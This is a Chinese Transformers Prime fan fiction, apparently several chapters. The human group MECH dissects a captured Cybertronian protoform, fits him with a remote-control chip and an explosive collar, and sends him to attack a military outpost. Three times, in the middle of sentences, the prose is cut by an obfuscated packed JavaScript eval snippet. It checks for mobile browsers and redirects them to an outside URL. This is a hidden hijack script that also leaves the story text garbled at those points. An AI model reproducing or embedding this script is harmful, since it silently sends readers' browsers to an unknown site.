明明里面只不过是些管线罢了。 恰好交班的时刻来临,士兵赶紧下了高塔准备找上几个人喝上几口压压身上的寒意。 还好自己不用回去继续盯着那个东西。 士兵庆幸着。 而仓库内,机械党的科学家们已经完成了对它全部外部装甲的卸除,枪炮和隐藏在体内的刀刃都被挂置在墙壁上。 地面早已被机甲所流出的能量液浸染,被机械臂按在实验台上的四肢全是凹陷和挣扎的痕迹,手部以及脚部的台面也全是剐蹭。 失去能量补给后,那恐怖的自愈能力终于不再发挥作用,银白色内甲上只剩下可怖的焊接痕迹,那双曾经让大部分机械党都不安颤栗的猩红眸子已经变得暗淡,塞拉斯站在高台上抱着胸面无表情地看着这一切。 科学家们小心翼翼地卸掉机甲头部的外装甲,显然在他们切除了它的疼痛反馈线路和加强了禁锢后,这东西终于挣扎累了。 但它还清醒着。 科学家一边记录着一边心有余悸地瞄了一眼似乎已经完全不再动弹的机甲。 昨天开始研究时这架机甲,不,他们现在该称呼它为他了,他们确认了他是活着的金属,一种神奇的硅基生命体,就算他们尚未搞懂这些冰冷的铁块是如何运动起来的,但显然这种地外生命拥有和人类相同的智慧,或者说类似的智慧。 他甚至会假装虚弱以骗取他们的疏忽。 昨晚在软金属切割完成后他就不再有那么剧烈的挣扎和惨叫了,他们以为他是在实验中死亡或者晕过去了,然而在他们松开控制他手部的控制器后这鬼东西立刻睁开眼给了他们一枪。 该死的,科学家看了眼身后那面墙上的烙痕心有余悸,要不是用于切割的机械臂迅速控制住了他,他们真的得被他逃了出去。 不过也多亏如此,他们发现他的这些软金属在失去外部装甲保护后脆弱得要命,切割外甲十分费劲儿的焊枪在接触这些软金属立刻就发挥了作用,并且这显然给他反馈了更加强大的痛楚。 “所以他是……类似于软体动物?” 塞拉斯和他身后的首席科学家交谈着,眼神中夹杂着审视,“他需要外壳来保护他脆弱的内里。” “没错,”科学家肯定道,“如果他们有更多,那么他的同族也一定具有相同的特性,我们可以尝试从这里进行突破,比如关节和腹部的装甲缝隙,我们在切割时发现从这些地方会更容易入手。” “可惜这些能量液目前还没有办法应用在人类的科技上。”科学家看着满地的蓝色液体略带可惜地叹了口气。 “不过我们马上要开始对他头部的实验,应该会获得更为详细的资料。” 塞拉斯没有说话,脚底的仪器适时启动,科学家们这次没有采取简单粗暴的直接切割,似乎是连他们也意识到生命体的脑部是比身体各部分还要精密的设计,几个人顺着机甲脑部的接缝解锁了他头部的外装甲。 机甲在强烈的电流刺—激下早已彻底昏死过去,展现在他们眼前的是一个相当精密的球体,布满了传感器和连接到身体各个部位的神经线路,当他们试图挪动他的手掌时,微量的传感因子立刻顺着线路闪烁着光从他们的眼前闪过。 人群发出惊叹的声音。 “首席,”塞拉斯眼底的神色晦涩不清,他站在台子上俯视脚底这台已经被拆得七零八落还在流淌着液体的破碎机甲,“我们有办法彻底控制他吗,就像我昨天说的,安装人类的驾驶位。” “……” 科学家看了眼手中笔记本上获取的资料。 “我恐怕不行,长官,他毕竟不是一台机器。我们昨天试图拆除他胸口火焰的操作得到了实验体非常猛烈的挣扎,结合他的表现和现有数据,我倾向于这是实验体的生命来源,而我们刚刚拆开的头部设计印证了我的猜想。” “他可能比我们想的更像人类。” “如果强行卸载他的脑部模块和胸口火焰,百分之八十的可能他会变成一个有着外表的空架子,我们可能没办法让他拥有现在的机动性,除非我们可以复制他的机体创造一个完全由人类科技逆向研究出的可操控型人偶。” 塞拉斯放下抱着胸的手,眯着眼走到了栏杆前,俯下身,“我知道你已经有了替代方案。” “当然长官。”首席勾起嘴角难掩眼中的狂热和自傲,以及十分的疯狂。 一个小巧的闪烁着红光的设备被他们安装在实验体的脑部球体上,随后首席指挥着手下的人将实验体的头部装甲又重新安装了回去。 “因为强行拆除只会造成反效果,我们取而代之将微型控制装置接入他的脑袋。” “装置与基地内的设备相连,您将可以进行一些远程操控,同时实验体收到的影像资料也将同步上传到您的电脑中。” “控制意味着风险,为了保护安全,这个微型控制器同时也是一个自爆炸弹,安全按钮会由您持有。” “以防万一,我们也制造了项圈。基于生命体的特性,通过刺入实验体颈部的尖刺和微量炸药,我们将可以实现对实验体的完美控制。” “如果他有任何反抗,电流刺—激和颈部的顶针会教会他服从,这种外部可以触碰到的死亡威胁也会产生更有力的震慑。” 首席像是被自己的比喻逗笑了,“您将会拥有一台完全忠于您的全真模拟VR设备。这可能是全x国最贵的VR设备。” 塞拉斯轻笑一声,“我没有你那么委婉,首席,我更倾向于……” “「slave」” 他居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507723|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高临下地看着这个已经被掌握在他们手中的机甲,精于算计的脑袋已经在筹谋机械党下一步的计划。 “不过就按你说的这么办吧。” “我很期待看到成品。” “是!” 像是想起什么,首席转过身再次向他确认道:“长官,实验体的装甲要帮他安装上吗?考虑到他的实际作战意义。” 塞拉斯皱了皱眉,终究是没让他们把已经运出仓库的那些外星合金再运回来。 “不用。” 他思索着,这位机械党首领对那些合金另有安排,“副官,你去将2号库内那些机器合金按照实验体原本的外甲复制一份重新安装。” 一直在一旁的副官领命。 仓库内的首席也放开了手脚开始对机甲的再改造。 嘈杂的声音也再度响了起来。 …… 原生体遭受的一切显然是并未被任何机知晓的,毕竟无论是不愿花费精力去搜寻的霸天虎还是搜寻无望的汽车人,在两方势力眼中,这个意外降落到地球的原生体都已经是「阵亡」状态。 美琪看着失落的领袖,碰了碰旁边杰克的胳膊。 “你说那个……有没有可能还……”她低着声音挤眉弄眼地绕过了关键词希望不会让本就低落的领袖更加自责,而被他询问的少年也悄悄看了一眼擎天柱小声地回答她。 “不知道,但是救护车说没有检测到火种的反应,所以……” “会不会是太微弱了所以仪器没有检测到?”拉菲也低着头小声加入讨论,“能量爆炸会引起相当规模的磁场混乱,也有可能会造成仪器失误。” “我听见了。” “噫!!!”x3 几个孩子僵硬地转过头,救护车抱着胸站在他们身后,“不要小瞧赛博坦人的耳力。” “好嘛好嘛。”一看露馅美琪也不再装了,看领袖已经走远,索性直接说了。 “我们只是不希望擎天柱一直那么低落,毕竟拉菲也说那个原生体可能还活着,也许他就等着我们去救呢?” 救护车垮下了身上的气势,疲惫感让几个孩子有些无所适从,杰克斟酌着安慰他,“对不起救护车,我们知道这有点儿强人所难,但也许总会有点儿希望呢?” “毕竟那是领袖的第一个孩子……” “我们想第一个总归是有点儿不同的……”拉菲也站了起来。 “你们以为我没想到这些吗?”救护车看着他们,“我也不愿意让领袖的第一个亲子就这样不明不白地连个尸体都没有的死在那种地方。” “……欸……” “我之前已经让隔板和阿尔茜搜寻过两次了,可都是一无所获。” “拉菲说的情况我也有纳入计算范围,我会等表层的□□被清扫完成后让大黄蜂再去搜寻一遍,也许他的一些侦查技巧会有助于帮助我们找到一些东西。” 救护车揉了揉自己的光学镜,他这几日的连轴转加上霸天虎归来的消息,让他都快怀疑自己要有金属疲劳了。 拉菲的电脑上,一个进度条也在此时显示到了百分之百。 “额……也许我们也可以先看看擎天柱之前传回来的那些资料,我完成解析了。” 拉菲试着打破此时空气中僵住的气氛。 “我是说,这总有帮助我们更了解他们,对吧?我是说那些原生体。” 11.蛰伏 贾斯帕的汽车人基地内,几个汽车人挤在屏幕前的空地上,等待着拉菲电脑的运行进度。 “感谢救护车平时教给我的赛博坦语,我对资料中一些轻微的信息损毁和专业名词进行了修复和整理,”拉菲一边进行着操作一边腼腆地冲着救护车笑了笑,“并且从其中得到了一些相当惊人的消息。” “哦就别卖关子了,”隔板挠了挠头,他实在是对这些学术性用语不能理解,“你可以直接告诉我们结论吗?” “那些资料中说了什么?” “bee——bee.” 大黄蜂也歪了歪头,这让拉菲笑了笑,这位年纪最小却最聪颖的孩子将自己整理过后的文档上传到了基地内的大屏幕上。 几个汽车人伙伴包括领袖在内得以不再一起窝在那一小块空地上。 不再绕弯子,拉菲认真地解释道:“这艘飞船的航行日志显示,它「承载了运用当前最精尖的赛博坦科技所制造出来的活体武器——六架为毁灭而生的原生体」,目的是「为擎天柱陛下的大业助力」……而且最后一次的降落地点在五年前的赛博坦城市——铁堡。” 似乎是怕大家没有注意到重点,拉菲将屏幕上那个「Lord optimus」标红了,甚至再一次进行了语言强调。 “如果我没记错的话,汽车人不会管擎天柱叫作「Lord」,对吗?” 拉菲犹豫了一下。 “但飞船航行日志中却依然使用了这个词语。我对比了所有残留的可被辨认的数据,对擎天柱进行描述时所使用的头衔都是这个,证明这并不是一次输入失误。” “而且五年前,你们刚刚降落到地球,如果救护车给我的数据没有错误,那么赛博坦的铁堡在你们降落前应该就已经彻底被霸天虎占据了……” 他露出担忧的神情望向了领袖。 “所以……”美琪抱着胸倚在栏杆上,看着身后那群神色各异的汽车人们,“我们这是碰到了一艘穿越时空的太空船?像是黑客帝国或者……哦老天,这可真酷,那上面的原生体甚至是个时空穿越者!” “不美琪,”救护车紧皱着眉,“我之前说过汽车人这边制造原生体的计划早在战争进入白热化时期就停止了,此后也一直没有再进行启用,这点我很肯定。” 领袖也在此时点头认可了他的说法。 “至于五年前……” 领袖接过他的话茬,“五年前我们的战争形势迅速恶化,我们不得不退守到音速峡谷制造方舟号以用作最后的撤退手段。” “这艘飞船根本不可能在那个时间段受我的指令降落铁堡。” 更何况…… 铁堡作为曾经的奥利安工作与生活的地方,在威震天第一波报复性的进攻中就已经化为了焦土。 “那么这个航行日志是假的?” 隔板和大黄蜂对视了一眼都看见了彼此眼中的不解。 “这是个悖论。”阿尔茜说。 “又或者……”拉菲和救护车想到了同一件事,人类的手指和赛博坦的金属手指同时敲击,同一张资料被调了出来。 那是一张针对原生体飞船遗骸残留的能量液进行分析的报告。 救护车:“在领袖苏醒后,我和拉菲就注意到了在飞船回收环节以及擎天柱的内置摄像中记录到的这种紫色能量液。” 拉菲:“而赛博坦人的能量液,无论是精纯冶炼出来的又或者是你们的血液,对不起没有冒犯的意思,但是我们宇宙赛博坦人的能量液……” 两人:“是蓝色的。” “这就又绕回了我一开始的设想。” “结合飞船上截然相反的能量波动与资料,最有可能得到的结论,他来自另一个拥有擎天柱的宇宙。” “一个……可能和我们的世界截然相反的平行宇宙。” 寂静。 拉菲不清楚这些外星朋友们的观念中对平行宇宙如何看待,但在地球人的世界,平行宇宙还仅仅处于概念的阶段,这艘飞船间接证明了它不再停留在理论,而是真实存在的。 它甚至可能涉及到了跨宇宙穿越的秘密。 然而领袖沉吟了片刻,没有露出震惊或者其他的神情,只是冷静地指出了他的看法。 “能看出这些原生体的制造者、设计图纸又或者其他关于原生体的信息吗?” “具体文件库在被录入系统存档前就被人为损坏了。”拉菲翻找了手上所有的信息,但数据被损坏的部分依旧庞大,前后两次爆炸几乎毁了全部的数据库。 “但飞船最后一条更新的数据中显示了一次来自霸天虎的袭击,目的未知。” “有意思的点在于,同一时间原生体的胶囊中接收到了一条非法信息。” “操作被系统驳回,其后胶囊舱收到了一条底层代码更改通知。” 救护车:“内容?” “无法解读……”拉菲脸上的内疚藏不住,这位小小的电脑天才第一次感受到了挫败,为没能帮上领袖的忙而低下了头,杰克和美琪过来拍了拍他的肩膀。 “我很抱歉……” “不拉菲,解读出了这么多东西,更何况这其中还是由赛博坦语组成的,这已经相当了不起了。”领袖温和地化解了他的负面情绪,他们的人类小朋友的确已经非常了不起了。 大家脸上的神色略微缓了缓,他们也没有错过领袖脸上的思索。 救护车眯了眯自己的光学镜,“你更担心霸天虎为这些原生体设置了什么危险的底层代码,考虑到他们无恶不作的性格,我对此不抱什么乐观。” “而且这些……异宇宙的原生体甚至就是为了杀死敌人而诞生的,其中装备的武器以及战争模块一定会是最顶尖的。” “也不能这么说,”人类女孩打断了他,“他们可是称呼擎天柱为主人!想一下,如果他们是相反的,那么霸天虎就可能是好人!” “……哦,我给自己说难受了,这种可能性太怪了。”美琪最后决定停下话茬,考虑到他们前几天刚被救护车恶补过的赛博坦知识,霸天虎、威震天、声波、红蜘蛛……还有什么来着,不过肯定都不是什么好人,一想到在救护车口中会吃碳基生物的这些坏人会扶老奶奶过马路,女孩的嘴里就犯苦。 杰克试图把话题掰过来,看着领袖说,“但他们是属于汽车人的,对吗?” “我不知道,杰克。”领袖回答他。 “别太沮丧,这不是你的错,”救护车看着领袖又强调了一遍,“他根本就没来得及上线,是红蜘蛛造成了他的死亡。” “这不是你的责任。” 这些话救护车似乎一直在强调,他的副官、他的士兵、他的人民,然而领袖如何能忽视这所有造成如今这一切局面的人就是自己。 他强迫自己关注目前更重要的地方,祈求这能换得领袖卫队的人将对自己的注意转移到霸天虎的身上。 “而且霸天虎卷土重来,结合那天红蜘蛛对我们的态度,我怀疑他们已经找回了威震天。” “我们没有证据。” “预感,我的老朋友……我恐怕这种平静不会维持太久了,他们找到这里了。” 擎天柱看向基地外的监控,太阳即将从地平线落下的余晖照耀得整片大地一片猩红,荒芜的沙地没有一丝生命的迹象,灰尘卷挟着风卷草扫过岩石,风声呼啸带来一阵凛冽。 天边的云朵也被染色,将整个世界渲染出同一片颜色,美丽却是带来黑暗前的最后一丝光明。 领袖难掩心中的不安和惶恐。 领导模块在他的胸口静静闪烁着金蓝色的光。 在地平线的另一头,被机械党称为「slave」的机甲在昏迷一周后终于睁开了自己的光学镜。 猩红色的目镜闪烁过迷茫,然而碳基士兵武器上膛的声音拉回了他的理智。 戒备和恨意再度涌上那双目镜,一个碳基的脸也再次出现在了他的视线范围。 塞拉斯。 这个生物的脸已经牢牢印在了他的处理器中,在检查到武器模块上线的消息后,原生体本能地进行了变形。 臂刃和能量枪瞬间弹出,机械顺畅启动的声音传入在场所有人的耳朵,塞拉斯脸上那种满足的神色让原生体不寒而栗,他不明白这个碳基到底是有什么毛病。 而他后知后觉地发现自己在接连数日的剧烈疼痛中没有再感受到被束缚的感觉。 他瞪大了光学镜看向了自己可以自由活动的四肢,并惊喜地发现自己连上了这些碳基生物的网络。 人类。 地球。 无数概念飞速地在他的处理器中被记录、存档、读取,他也在此时才终于理解了这些被称为人类的碳基所使用的语言。 在被疼痛和求生的本能所掩盖数日后,原生体也终于有时间读取了自己的底层数据。 赛博坦人。 霸天虎。 汽车人。 一些陌生的信息涌入,这些信息远比人类的信息更加繁杂,他晕眩一瞬才让自己超负荷运转的处理器没有当场下线。 “「奴隶」” 他听到塞拉斯这么喊着自己。 该死的! 重获自由的喜悦和理智在瞬间瓦解,原生体再度将目光移向塞拉斯。 没有人,没有人胆敢这么称呼一个战士! 他不是任何人的奴隶! 已经了解到这个词语含义的原生体再也无法克制自己的恨意和愤怒,他冲着这些地面上弱小的肉虫怒吼。 “我不是任何人的傀儡!” 这回换听到原生体话语的人类皆露出了震惊的神情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14549366|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >手炮瞬间充能,继承自两位sire的优秀机体框架支撑了原生体更为优越的充能回路,蓝色的能量溢出狂暴的磁场,低声的嗡鸣如同它主人心中的怒火,能量炮在人类惊恐的目光中一枪轰在了仓库的墙上。 剧烈的爆炸,铁片四处飞溅,烟雾朦胧中原生体脸上的错愕被人类完美捕获。 塞拉斯也在此刻大笑出声。 “你对我做了什么。” 理智重新回笼,原生体质问他。 刚刚的攻击他明明对准的是塞拉斯。 “我?不,我什么都没做,只是一点对你机体的小小改动。” “准确来说,是我做的。”一个在护甲外套着白大褂用战术面具蒙着面的人微微点头,似乎是对自己的成果——也就是原生体此时的状态表现了相当程度的自满。 此时原生体才注意到自己身上的外装甲已经重新被安装上了,裸露的原生质被重新覆盖,丑陋的焊接痕迹被掩盖在这些新的金属装甲下,再也看不出几天前被拆解的凄惨模样。 但这些外装甲并非他原本的装甲,连接上身体反馈线路的瞬间他就知道这些新的装甲无论是坚硬程度还是和自己的匹配度都远没有自身机体自带的高。 这恐怕会相当影响他在战场的实际发挥效果。 外表的伤势似乎都在强大的自愈能力下恢复,然而在装甲下,原生体依然感觉到机体在隐隐作痛。 能量的缺失并没有带来机体的自愈,只不过是装甲掩盖了原生质的伤势,机体上的疼痛也让他忽视了颈部一直传来的痛感。 他伸出自己带有尖锐指爪的手,在脖子上摸到了一个坚硬且并不属于自己机体设计的东西。 一个牢固的金属项圈。 他瞪大了眼睛。 塞拉斯也在此时背着手主动靠近了他。 “现在,slave,你似乎还没有搞清楚情况。” 顶着原生体要生吞了他的视线,塞拉斯面不改色,“那么容我自我介绍。” “在下塞拉斯,是机甲特勤队(MECH)的总指挥。” “多亏了你,我们收获了足够多的数据,但现在,告诉我,slave,你是否还有更多同族在地球上。” 原生体回以他蔑视的中指。 “哈,碳基,你认为你有什么资格让我对你言听计从。”年轻的机甲从行动上表现了自己的不配合。 塞拉斯没有对此表示任何情绪上的波动,他挑起了一侧的眉毛,而他身后的副官按动了一个按钮。 强烈的电流刺激从项圈中迸发,尖锐的顶针由内部刺入原生体的颈部,前一秒还在和他对峙的原生体瞬间跪在了地上,他咽下喉咙中的尖叫,发出了一声闷哼。 机体瞬间瘫痪,他抽搐着死死抓着自己的膝盖才没有毫无颜面地趴在地面上。 蓝色的能量液顺着光滑的脖颈流下,原生体眼前已经被各类的损伤警告铺满,本就受了伤的机体卡在下线的边缘,然而他依然强迫自己保持了清醒。 在超过极限的痛苦中他勉强睁开一只光学镜死死盯住塞拉斯。 “够了。”欣赏够了原生体狼狈的姿态,塞拉斯叫停了副官。 “哈……”原生体单膝跪在地上,损伤的发声器再发不出原先意气风发的声音,粗哑的喘息传出,他低下的头缓缓抬起刚好和塞拉斯对视。 “这样好多了,”塞拉斯满意地勾起嘴角,“那么我想现在我们已经搞清楚了状况,如你所见,为了给予你自由,我们稍微设置了一些……保险措施。” “项圈中也存放了微量炸弹,我假设你绝对不会想尝试脑袋被炸没的感觉。” “你的脑袋中也存放了同等剂量的炸药。” “当然,这一切都是为了自卫。”他背在身后的手终于舍得抽出来,塞拉斯装模作样地向他表现了作为一个人类的礼节,然而在原生体看来却虚伪得要命。 “如果你愿意合作,我保证你会在机甲特勤队(MECH)中找到自己的位置。” 原生体再次尝试站直了机体。 他注意到了塞拉斯身侧的一块小屏幕中显露出了自己光学镜中的画面。 所以,他们绝对不止往自己的机体中只添加了那些东西。 原生体移开眼前全部泛红的警告窗口,问道:“你想知道什么。” “识时务者为俊杰。”塞拉斯赏识地看着他。 这些弱小的碳基到底哪里来的底气和自信相信自己能够永远控制他? 原生体压下眼底所有的思绪和嘲讽。 仅凭这些东西就想掌控自己,掌控一个赛博坦人。 哈! 他会获得自由的,他向自己保证,而他复仇的那一天,他要这些生物为今天他们的所作所为受到应有的报应。 以他的火种起誓。 12.第一次任务 “我们的麻烦少爷现在怎么样?” “他?哈,现在可睡得很熟呢。” 机械党的基地内,两个士兵监控着一间被改造为“房间”的仓库,然而称呼它为房间又未免过于高抬,那充其量不过是一间能够容纳赛博坦人的囚室罢了。 和之前原生体所待的实验室的区别可能只在于没有满屋的“刑具”。 房间内没有任何多余的装饰,这些人类对于已经被默认成为机械党“资产”的原生体没有什么照顾的想法,能够让这个机械生命体有个单独的房间已经算是恩赐。 然而说没有花费心思却也不对,毕竟机械党的士兵很清楚这间囚室的墙壁到底使用了多么珍贵的材料。 两个士兵互相摊了摊手,监控上不见人形装甲的踪迹却在房间的空地上停留着一辆漆色斑驳的油罐车。 这正是在几天前被唤醒的原生体。 “我听说他昨晚还有些抗—拒。” “哼……”被问到的士兵轻蔑地嗤笑一声,“长官又询问了一些问题,然而这个家伙依然不老实,所以,我们施加了一些小—惩—罚。” “现在已经十分服帖了。” “还以为是什么宁死不屈的。” “不过我还以为局部的变形已经十分惊人了,”最开始开口的士兵又指了指原生体,“没想到真的能够做到变成地球的车辆。真令人惊讶。” “我知道,这真吓人(creepy)。” “当时他还想隐藏这种能力趁机逃跑,但是昨晚,在长官对他进行几次教—育后很明显电流刺激到了他的什么回路,很轻易地就暴—露了。” “看来我们的麻烦少爷也没他自己想象中那么厉害。” “不过是个实验体罢了。” 两个人类的对话告一段落,然而被认为正在睡眠中的原生体实际上十分清醒。 他得承认昨晚的事情在他的意料之外,变形的事情本应作为杀手锏,然而强电流显然刺激到了他的变形齿轮,让他不受控制地过早暴—露了。 他承认这是他的疏忽,他已经在为此做自我检讨了,但向塞拉斯坦白赛博坦人的资料却不在他所需要后悔的事项之中。 他让塞拉斯知道了一些赛博坦人的资料,然而假如这个泥巴星上真的存在他的同族,甚至他命运中注定要效忠的对象,那么这些资料无论他说与不说都将成为公开的东西被这颗星球上的原生物种知晓。 他不是傻子,如果能够减少一些塞拉斯对自己机体的折磨那么他自然不会犯傻去执着一些没有必要的东西。 更何况塞拉斯根本无从分辨哪些是真哪些是假。 目前他有更重要的事情要做。 他想要知道自己到底为何降生在这颗星球上,又为何会被人类捕获,他记忆的最开始只有爆炸。 而他的潜意识却觉得自己要效忠的是一位领袖。 不知何处而来的矛盾感一直撕扯着他的火种,烦躁感让他无法安心。 在监控中,原生体气息微弱,仿若停在那里的真的只是一辆普通的地球油罐车,然而在原生体的内线中,一个又一个反馈窗口弹开,显然这些人类的高傲让他们低估了硅基生命体的能力,也为原生体埋下了自由的种子。 经过昨晚的……相处,他摸清了机械党的底细,包括“塞拉斯”这个名字实际上是一个假名,他眼前的这个人类应该有着另一个名字,一个不能够被知晓的明面的名字。 也足够他摸清楚这帮肉虫到底对他的机体做了什么。 脖子上的项圈比起威胁更多的是屈辱,原生体尖锐的指爪已经将脖颈处抓挠出了伤口,一旦动作过大浅蓝色的能量液便会溢出,而他的自愈能力在能量不足的情况下明显罢工了。 他差点忘了,能量,这也是他目前亟待解决的一个问题。 昨晚塞拉斯曾经强迫他引用人类的汽油,一方面是为了测试他的服从度,另一方面则是为了检测赛博坦人是否可以利用人类的能源生存。 结果很惨淡。 原生体差点把自己的油箱都吐出来。 除此之外这些人类还在他的脑袋里放了东西进去。 也是这个东西让那些人类控制了他的行动,甚至因为对赛博坦人机体的不了解,安装的位置压迫到了他的通讯线路,如今他就是被放置在人类眼前手无寸铁的肥肉。 渣的! 原生体再次暗骂一声。 他脑袋中的定时炸弹他自己没办法拆掉,外面是否存在能够帮助他的同族他也不曾知晓,然而原生体不打算坐以待毙。 等待救援从来不是他的第一选择。 认真解析完又一个反馈界面,在原生体自己的内线中,一个小小的反制程序正在悄然建立。 无法拆除意味着无法彻底摆脱,但如果反制程序有效,他就能够暂时屏蔽塞拉斯的控制,或者最基础的,至少帮他蒙蔽机械党安插在自己光学镜中和基地屏幕同步的监视。 反制程序的建立需要依托在对控制系统的全面解读上,目前原生体的进度也只将将停留在2%,注定没办法帮他在短时间内摆脱受制于人的状态。 恰在此时,副官带来了一个新的消息。 一个外出命令。 瞧瞧,多么巧合,原生体仗着载具形态谁也看不见他的头雕的优势悄然翻了个白眼。 在昨晚刚和他进行过“交流”,第二天就迫不及待等待着验收成果。 人类的军靴在他面前站定,原生体从善如流变了形。 巨大的机器人转瞬代替了油罐车,在副官面前半跪了下来。 那双满含情绪的光学镜已经不再蕴含明显的恨意,猩红的颜色依然让人望而生畏,但他此时跪地的姿势却再也不复昨日的桀骜,副官不敢因此产生轻视,他知道这个赛博坦人绝没有因为几顿教训就因此学乖。 他们已经充分领略到了这个生命体的狡猾。 然而他依然对塞拉斯长官说下达的命令半信半疑。 不过思考从来不是他该考虑的事情,他忠实地向原生体传达了首领的命令。 “slave,我们会派遣一个作战小组与你同行至坐标点E79·K85点,你的任务很简单,摧毁那里所有的建筑。”副官身后五个名作陪同实际监视的特种兵站出,一排排的战术眼镜掩盖了人类所有的情绪,原生体努力控制住芯底的对这些人类的厌恶和愤怒,劝告自己不要为此浪费没有必要的精力,目前的重点在于这第一次外出所代表的机会。 “而如果我们足够幸运,你将能够得到足够的能量。” 原生体没有询问他们关于能量的消息从何而来,他没有说出一声应承,向这些碳基低头已经突破了他的骄傲,然而若是亲口说出服从的话语更让他被自己所鄙夷,他又看了一眼内线中依然停留在2%的进度条沉默地变回了油罐车,任由那些大兵钻进了自己的车厢。 碳基生物柔软的四肢简直如同蠕动的虫子,他不得不强忍住恶心才缓缓启动自己的轮胎。 油罐车冒着黑烟消失在仓库门口。 在他身后,副官眯了眯眼睛,记录下了他的状态。 “长官,目前一切顺利。” “很好,密切监视,他所说的地球不存在其他赛博坦人未必是真话,看看能否靠他引出更多人。” “是!“ …… 到达坐标地点的路程比原生体想象的要远,可自上线以来第一次来到户外,见到不是塞拉斯和机械党的环境实在过于新奇,和他在人类网络上看到的东西不一样,原生体几乎瞬间就被这颗星球震撼到了。 吹过他挡风玻璃的风如此柔和,路边的植物生长得如此茂密,这些阳光……这些光线……他心中的疑惑越来越多,而没有人可以给他解答,他只能尽力在不引起注意的情况下减缓车速让自己更多的将这些仓库外的景色印入自己的处理器。 在路程进入一半后事情变得不对劲了起来。 按照原生体得到的资料显示,他们的路线本应该遍布人类的踪迹,房屋、人影、家畜……然而没有,这一块地区被人有意清空了,他们走的道路本就偏僻,在原生体的内置扫描中却连这方圆一百里都已经彻底没了任何人类的踪迹。 塞拉斯到底是要找什么? 疑惑越来越多,在路线中出现人类政府设置的岗哨时,原生体恍然大悟。 所以这里就如同赛博坦,霸天虎和汽车人的斗争,塞拉斯和人类政府的斗争。 原生体觉得自己逐渐摸到了适应这颗星球的方法,别的东西他尚且无法理解,但战争,这个他熟悉。 油罐车在岗哨范围外迅速变形,指爪抓住车厢内的五个人类大兵,利用冲刺的势能爬上了另一侧的山峰躲过了夜晚探照灯的巡视。 灯光扫过后他再次变形将五个人类装进了车厢。 在此过程中这些大兵没发出任何声音。 原生体心情颇好地发现他们在被自己丢出车厢抓在手里的时候就被甩昏了过去。 这堪称幼稚的报复终于让他的心情好了一瞬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573893|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 副官的声音透过他的音频接收器响起,提醒他注意自己的身份。 原生体置之不闻。 副官本欲为此再次告诫他,然而塞拉斯阻止了他。 “我们总要对新兵多些宽容。”他背着手看着监控上的原生体,言语间似乎是真的对此毫不在意,“适当的自由我相信有助于激发他对我们的服从。” 油罐车也在此时在人类军方的震惊中撞破了关卡。 “嘿!” “嘭!!!” 木屑飞溅,原生体伴随着人类的尖叫变形,手炮充能,蓝色的炮弹炸毁了离他最近的无人哨站,尖叫声夹杂着机械党机枪的扫射,原生体漫步在一片混乱中仿若天生就属于这炼狱。 人类军方的反应速度十分迅速,然而在原生体变形后,为首的长官如临大敌的神情却陡然一变,变成了茫然和不解。 “擎天柱?” “领袖,是你吗?” 原生体楞在了原地,这个熟悉的名字引起了他机体的反应。 全身的电路都在加速运转,底层代码几乎是在向着他的CPU咆哮了,本能地颤抖无法克制,是他,原生体在一瞬间确认了这一点。 擎天柱。 这个名字的所有者。 一个领袖。 鲜红的目镜一瞬间瞪大,他不顾倾泻在自己机体上的子弹,带着面罩的面甲也抵挡不住这具和领袖相似的机甲脸上的惊讶。 他停下了手上的攻击,而叫出汽车人领袖名讳的将领也在此时看见这具如同恶魔一般攻入军方堡垒的机甲收回了脸上的战术口罩,露出了一张极为年轻的面孔。 明明和领袖十分相似然而浑身的那股气势和脸上藏不住的稚嫩却让人不会因此而产生错认。 将领陷入了迷茫,而原生体此时却不明白为何自己在听到这个名字时所产生的不合时宜的亲近感。 他有心想要找那个叫出领袖的人类将领问个清楚,然而一直监视着这边动静的机械党就在此刻抢过了他机体的控制权。 不…… 不。 不! 不不不不不不不不不不不不不…… 他绝望地意识到自己可能刚刚失去了就在手边的线索。 全部的意识被囚禁在了自己的机体之中。 该死的! 你们这些该死的碳基! 塞拉斯!!!!! 昨晚被暂时压制的戾气再度冒头,他咬着牙如同一个局外人看见“自己”合上了口罩,变形后载着五个机械党人员离开了这个军方的基地。 是谁! 擎天柱……这个名字到底是谁?! 他如同一头野兽在自己的机体内嘶吼,他是活着被囚禁在自己身体内的囚徒。 光学镜内凶光毕露,返回基地后机械党不敢在这种情况下还给他机体的控制权,那对熟悉的机械手再度抓上了他的机体。 原生体在仓库内对着每一个胆敢出现在他面前的人类露出獠牙,而塞拉斯在仓库外听着他的怒吼。 “长官……”副官终于露出了显而易见的担忧,原生体如今不管不顾颇有些疯魔的状态终于引起了他的恐惧,“您确定他还在可控制范围内吗?仅仅是一次外出……” 